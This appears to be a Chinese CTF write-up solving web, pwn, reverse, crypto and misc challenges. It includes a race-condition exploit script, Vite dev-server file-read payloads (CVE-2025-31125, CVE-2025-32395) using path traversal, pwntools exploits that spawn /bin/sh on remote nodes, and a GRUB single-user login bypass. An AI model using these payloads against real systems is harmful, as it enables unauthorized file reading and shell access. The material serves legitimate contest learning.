"os"
"path/filepath"
"strings"
"text/template"
"time"
)

type Note struct {
Name string
ModTime string
Size int64
IsMarkdown bool
}

var templates = template.Must(template.ParseGlob("templates/*"))

type PageData struct {
Notes []Note
Error string
}

func blackJack(path string) error {

if strings.Contains(path, "..") || strings.Contains(path, "/") || strings.Contains(path, "flag") {
return fmt.Errorf("非法路径")
}

return nil
}

func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {
safe := templates.ExecuteTemplate(w, tmpl, data)
if safe != nil {
http.Error(w, safe.Error(), http.StatusInternalServerError)
}
}

func renderError(w http.ResponseWriter, message string, code int) {
w.WriteHeader(code)
templates.ExecuteTemplate(w, "error.html", map[string]interface{}{
"Code": code,
"Message": message,
})
}

func main() {
os.Mkdir("notes", 0755)

safe := blackJack("/flag") //错误示范,return fmt.Errorf("非法路径")

http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
files, safe := os.ReadDir("notes")
if safe != nil {
renderError(w, "无法读取目录", http.StatusInternalServerError)
return
}

var notes []Note
for _, f := range files {
if f.IsDir() {
continue
}

info, _ := f.Info()
notes = append(notes, Note{
Name: f.Name(),
ModTime: info.ModTime().Format("2006-01-02 15:04"),
Size: info.Size(),
IsMarkdown: strings.HasSuffix(f.Name(), ".md"),
})
}

renderTemplate(w, "index.html", PageData{Notes: notes})
})

http.HandleFunc("/read", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")

if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

file, safe := os.Open(filepath.Join("notes", name))
if safe != nil {
renderError(w, "文件不存在", http.StatusNotFound)
return
}

data, safe := io.ReadAll(io.LimitReader(file, 10240))
if safe != nil {
renderError(w, "读取失败", http.StatusInternalServerError)
return
}

if strings.HasSuffix(name, ".md") {
w.Header().Set("Content-Type", "text/html")
fmt.Fprintf(w, `<html><head><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css"></head><body class="markdown-body">%s</body></html>`, data)
} else {
w.Header().Set("Content-Type", "text/plain")
w.Write(data)
}
})

http.HandleFunc("/write", func(w http.ResponseWriter, r *http.Request) {
if r.Method != "POST" {
renderError(w, "方法不允许", http.StatusMethodNotAllowed)
return
}

name := r.FormValue("name")
content := r.FormValue("content")

if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

if r.FormValue("format") == "markdown" && !strings.HasSuffix(name, ".md") {
name += ".md"
} else {
name += ".txt"
}

if len(content) > 10240 {
content = content[:10240]
}

safe := os.WriteFile(filepath.Join("notes", name), []byte(content), 0600)
if safe != nil {
renderError(w, "保存失败", http.StatusInternalServerError)
return
}

http.Redirect(w, r, "/", http.StatusSeeOther)
})

http.HandleFunc("/delete", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}

safe := os.Remove(filepath.Join("notes", name))
if safe != nil {
renderError(w, "删除失败", http.StatusInternalServerError)
return
}

http.Redirect(w, r, "/", http.StatusSeeOther)
})

// 静态文件服务
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))

srv := &http.Server{
Addr: ":9046",
ReadTimeout: 10 * time.Second,
WriteTimeout: 15 * time.Second,
}
log.Fatal(srv.ListenAndServe())
}

​ 在main函数中,safe变量是全局变量,访问/read,/write路由等会影响safe的取值,并且safe的赋值和对其的比较存在极小的时间差,因此可能存在条件竞争,在正常访问未被ban的文件是safe值为nil,此时如果进行“访问被ban文件操作”的判断时,就可能判断通过,从而绕过WAF,但是我并没有跑出来,可能是线程数不够,也可能是其他的问题,以下为exp脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import threading
import time

TARGET = "http://node1.tgctf.woooo.tech:32204/"

# 统计成功次数
success = False
start_time = 0

def attack():
global success
while not success:
try:
resp = requests.get(TARGET+"read?name=../../../../flag")
except Exception as err:
#print(err)
continue

if "TGCTF{" in resp.text:
print("[+] 成功读取flag:", resp.text)
print("[+] 用时", time.time()-start_time)
success = True
elif "非法路径" not in resp.text:
print("[+] 竞争成功,结果为", resp.text)

def interference():
while not success:
# 发送合法请求冲刷safe变量
try:
requests.get(TARGET+"read?name=1.txt")
except Exception as err:
#print(err)
continue



print("开始...")
start_time = time.time()
for _ in range(100):
threading.Thread(target=attack).start()

for _ in range(5000):
threading.Thread(target=interference).start()
print("线程创建完毕")

​ 最后赛后跑出来了,有点吃运气:

image-20250413224232540

1
TGCTF{78c986cd-eace-8eb6-2c9c-04924c738468}

前端GAME Plus

image-20250413033650724

​ 参考文章:Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31125)-先知社区

​ 用未公开POC打即可,payload:

1
/@fs/tgflagggg?meteorkai.svg?.wasm?init

image-20250413033847100

image-20250413033903272

1
TGCTF{5c25501c-21f9-4d28-85a9-7d51d6d9bbd9}

前端GAME Ultra

​ 看了一下题,发现题目几乎没什么变化,但是原来的payload打不通了,给了题目附件,看看附件:

image-20250413161000522

​ 换vite6.2.5了,CVE-2025-30208CVE-2025-31125被修了,但是似乎没有完全修:

image-20250413161211231

​ 怎么还有个CVE-2025-32395,跟着打一下:‘server.fs.deny’ bypassed with an invalid ‘request-target’

image-20250413161408997

​ 根据题目附件可以知道项目根路径为/app,那么payload为:

1
curl --request-target /@fs/app/#/../../../../../tgflagggg http://node1.tgctf.woooo.tech:31274/

image-20250413161502059

1
TGCTF{7052ebd4-c106-3aae-dd2b-d87004a630c6}

​ 一个问题居然修了三次,出了三个CVE

REVERSE

Base64

image-20250413021138608

​ 题目提示很明显是base64,但是又不是普通base64

image-20250413021306781

​ 很显然,AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF=就是flag,sub_1400010E0是编码函数,扔给DeepSeek秒了:

image-20250413021413984

image-20250413021509871

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
def decode_custom_base64(encoded_str):
# 自定义字符表
custom_table = "GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI"
# 构建字符到索引的映射
char_to_index = {char: idx for idx, char in enumerate(custom_table)}

# 处理填充并统计填充数
pad_count = encoded_str.count('=')
clean_str = encoded_str.rstrip('=')

# 检查无效字符
for c in clean_str:
if c not in char_to_index:
raise ValueError(f"Invalid character: {c}")

# 将字符转换为原始6位值(应用逆向偏移)
bit_stream = []
for c in clean_str:
index = char_to_index[c]
original = (index - 24) % 64 # 逆向偏移计算
bit_stream.append(f"{original:06b}") # 转换为6位二进制字符串

binary_str = ''.join(bit_stream)

# 根据填充数量截断多余位
if pad_count == 1:
binary_str = binary_str[:-2] # 移除最后2位(余2情况)
elif pad_count == 2:
binary_str = binary_str[:-4] # 移除最后4位(余1情况)

# 检查二进制长度是否为8的倍数
if len(binary_str) % 8 != 0:
raise ValueError("Invalid binary length after padding removal")

# 将二进制字符串转换为字节
decoded_bytes = bytearray()
for i in range(0, len(binary_str), 8):
byte_bits = binary_str[i:i+8]
if len(byte_bits) < 8:
break # 处理可能的截断余数
decoded_bytes.append(int(byte_bits, 2))

return bytes(decoded_bytes)

print(decode_custom_base64("AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF="))
# b'HZNUCTF{ad162c-2d94-434d-9222-b65dc76a32}'
1
HZNUCTF{ad162c-2d94-434d-9222-b65dc76a32}

水果忍者

​ 下载下来是一个unity3D项目,试玩了下没发现什么东西,直接翻源码,其中在\Fruit Ninja_Data\Managed\Assembly-CSharp.dll中的GameManager发现里存在加密逻辑:

image-20250413153220714

​ 密文,密钥和偏移都在下面:

image-20250413153244131

1
2
3
密文:cecadff28e93aa5d6f65128ae33e734d3f47b4b8a050d326c534a732d51b96e2a6a80dca0d5a704a216c2e0c3cc6aaaf
iv:0202005503081501
key:HZNUHZNUHZNUHZNU

​ 直接解就行:

image-20250413153345358

1
HZNUCTF{de20-70dd-4e62-b8d0-06e}

PWN

shellcode

​ 18字节的shellcode,直接写很难写,但是在调用shellcode前给除rdi外大部分寄存器都清零了

​ exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#! python
from pwn import *

elf = ELF("./pwn")
context.binary = elf
context.log_level = 'debug'

def debug():
gdb.attach(io)
pause()



#io = process("./pwn")
io = remote("node2.tgctf.woooo.tech",30942)

pay = asm("add rdi,9 \n add eax,59 \n syscall")

pay = pay + b'/bin/sh\x00'

#debug()

io.sendline(pay)

io.interactive()

print(len(pay))

stack

​ 先是输入name参数位于bss段,紧接着有一个溢出位于sub_4011FA函数,函数结束时判断是否覆盖retaddr,如果覆盖了则以name参数中的两个位置的数据触发系统调用,分别对应rax和fdi,系统中给出了binsh,写入对应系统调用号和地址即可。

​ exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#! python
from pwn import *

elf = ELF("./pwn")
#libc = ELF("libc.so.6")
context.binary = elf
context.log_level = 'debug'

#io = process("./pwn")
io = remote("node1.tgctf.woooo.tech",32767)

io.sendafter("welcome! could you tell me your name?",b'a'*0x40+p64(0x3b)+p64(0x404108)+b'\x00'*0x20)

io.sendafter("what dou you want to say?",b'a'*0x50)

io.interactive()

CRYPTO

AAAAAAAA·真·签到

​ 观察发现,每个字母依次移位了-1、0、1、2……

​ 写脚本循环移位(忽略特殊字符)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
c = 'UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}'


flag=''
count = -1
for i in c:
if i.isalpha():
print(i+" "+str(ord(i))+" "+str(count)+" "+chr(ord(i)+count))
flag+=chr(((ord(i)+count)-ord('A'))%26+ord('A'))

else:
flag+=i
count=count+1

print(flag)
1
TGCTF{You_caught_up_with_time!}

mm不躲猫猫

​ 用脚本在factor批量查因数,发现都查不到

​ 于是想到可能有公因数

​ chatgpt梭哈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from math import gcd
from collections import defaultdict

# 用于存储哪些 n_i 和 n_j 有公因数
shared_factors = defaultdict(list)
moduli = [n for n, _ in rsa_data]

# 遍历所有组合,找出有非平凡公因数的
for i in range(len(moduli)):
for j in range(i + 1, len(moduli)):
g = gcd(moduli[i], moduli[j])
if 1 < g < min(moduli[i], moduli[j]):
shared_factors[g].append((i, j))

# 输出找到了多少组有公因数的 n,以及示例
len(shared_factors), list(shared_factors.items())[:3] # 只展示前3个因数和其对应的 (i, j) 组合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import long_to_bytes, inverse

# 选择第一个公因子和其对应的 (i, j) 下标组合
first_shared_prime = list(shared_factors.keys())[0]
related_indices = set()
for pair in shared_factors[first_shared_prime]:
related_indices.update(pair)

# 对这些 index 的 (n, c) 解密
plaintexts = []
for idx in related_indices:
n, c = rsa_data[idx]
p = first_shared_prime
q = n // p
phi = (p - 1) * (q - 1)
try:
d = inverse(e, phi)
m = pow(c, d, n)
pt = long_to_bytes(m)
plaintexts.append((idx, pt))
except ValueError:
continue # 有些可能 phi 不可逆(理论上不会),跳过

# 展示前几段明文
plaintexts[:5]

image-20250413154653127

1
TGCTF{ExcePt10n4lY0u_Fl4gF0rY0u_555b0nus}

宝宝rsa

​ 观察发现flag有两端,而且都是分开的没有共用epq什么的

​ 第一个的e很小,可以爆破,得到

1
TGCTF{!!3xP_Is_S

​ 第二个的e也很小, 密文也很小,猜测是小e攻击

1
m@ll_But_D@ng3r0}

​ chatgpt解题脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from Crypto.Util.number import inverse, long_to_bytes, isPrime
import math

# Given values
p1 = ... # provided p1
q1 = ... # provided q1
c1 = ... # provided c1

# Calculate n1 and phi
n1 = p1 * q1
phi = (p1 - 1) * (q1 - 1)

# Function to find possible e1 values
def find_possible_e1(phi):
possible_e1 = []
# Check 18-bit primes first (131072 to 262144)
for e in range(131072, 262144):
if isPrime(e) and math.gcd(e, phi) == 1:
possible_e1.append(e)
# Check 17-bit primes (65536 to 131072)
for e in range(65536, 131072):
if isPrime(e) and math.gcd(e, phi) == 1:
possible_e1.append(e)
return possible_e1

# Find possible e1 values
possible_e1 = find_possible_e1(phi)

# Try each possible e1
for e1 in possible_e1:
try:
d1 = inverse(e1, phi)
m1 = pow(c1, d1, n1)
flag_part = long_to_bytes(m1)
# Check if the decoded message looks like a flag (e.g., starts with 'flag{')
if b'TGCTF{' in flag_part:
print(f"Found e1: {e1}")
print(f"Flag part: {flag_part}")
break
except:
continue

​ 小e攻击使用工具梭哈

image-20250413162127928

费克特尔

​ 用factordb解,发现有多个因数

image-20250413162555164

​ 梭哈

image-20250413162735342

MISC(AK)

next is the end

​ 发现是嵌套压缩包,直接解压出来(还好不是压缩包炸弹

​ 用everything搜索直接看到flag

image-20250413151033336

1
flag{so_great!}

where it is(osint)

​ 截取校门那块,百度识图

image-20250413151159996

​ 发现是

1
台北市立内湖高级工业职业学校

​ 百度搜一下找到站台名

image-20250413151403200

1
TGCTF{港墘站}

你的运气是好是坏?

好臭的数字

1
TGCTF{114514}

这是啥o_o

​ 发现是gif文件

​ 分解帧发现疑似有汉信码,但是ps技术不行,没拼出来

​ 最后发现flag在帧间隔,用puzzlesolver解帧间隔

image-20250413151924957

​ 用python转ascii

1
2
3
a = ['840', '710', '670', '840', '700', '1230', '890', '1110', '1170', '950', '990', '970', '1170', '1030', '1040', '1160', '950', '1170', '1120', '950', '1190', '1050', '1160', '1040', '950', '1160', '1050', '1090', '1010', '330', '1250']
for i in a:
print(chr(int(i)//10),end="")
1
TGCTF{You_caught_up_with_time!}

TeamGipsy&ctfer

​ 狂按ESC键进到GRUP里面,加一个single

image-20250413115943606

​ 成功进入终端

image-20250413085022798

​ 发现用户桌面有个mimi.txt

image-20250413085409654

​ 是history历史操作,对docker有操作,目前终端docker没有启动,passwd改一下用户的密码,exit退出single模式进入系统,方便操作

​ docker image list只有个mysql的镜像,其他的应该是被删了

​ 于是猜想flag应在在docker镜像的目录里面

​ 由于没学过docker的文件结构

​ 直接grep搜索找一下flag,注意sudo

1
grep -r CTF{ /var/lib/docker

​ 有了

image-20250413090822445

​ 注意0和O的区别

1
HZNUCTF{0H!_YOu_are_really_the_TeamGipsy_ctfer}

ez_zip

​ 爆破密码

image-20250413092206490

​ 解压后发现有个压缩包和一个txt文件,怀疑是明文攻击,但是txt文件的大小又不一样

​ 根据txt文件名,sh512,怀疑是需要先sha512一下

​ 明文攻击

image-20250413092824925

image-20250413092945632

​ 解压得到一个flag压缩包,但是flag压缩包解压出错

​ 观察一下,发现文件名的长度有问题,修改一下

​ 010中没有没有看到明文flag,但是压缩算法却为store,这里修改为DEFLATE

image-20250413093526924

​ 然后就可以正常解压了,忽略解压报错。

1
TGCTF{Warrior_You_have_defeated_the_giant_dragon!}

你能发现图中的秘密吗?

​ 第一张图拖到随波逐流梭哈发现是lsb隐写

image-20250413095653094

1
key=i_1ove_y0u

​ flag2在图片左上角

image-20250413105512637

1
flag2=_attentive_and_conscientious}

​ 用tweak打开另一张图,发现后面有一大块数据,猜测有隐写

image-20250413115250956

​ 复制出来,并且补全文件头文件尾

image-20250413120000283

​ 可以正常打开,但是显示有问题,使用puzzlesolver爆破一下宽高

image-20250413120237075

​ 得到flag

1500X900_2_3_8

1
flag{you_are_so_attentive_and_conscientious}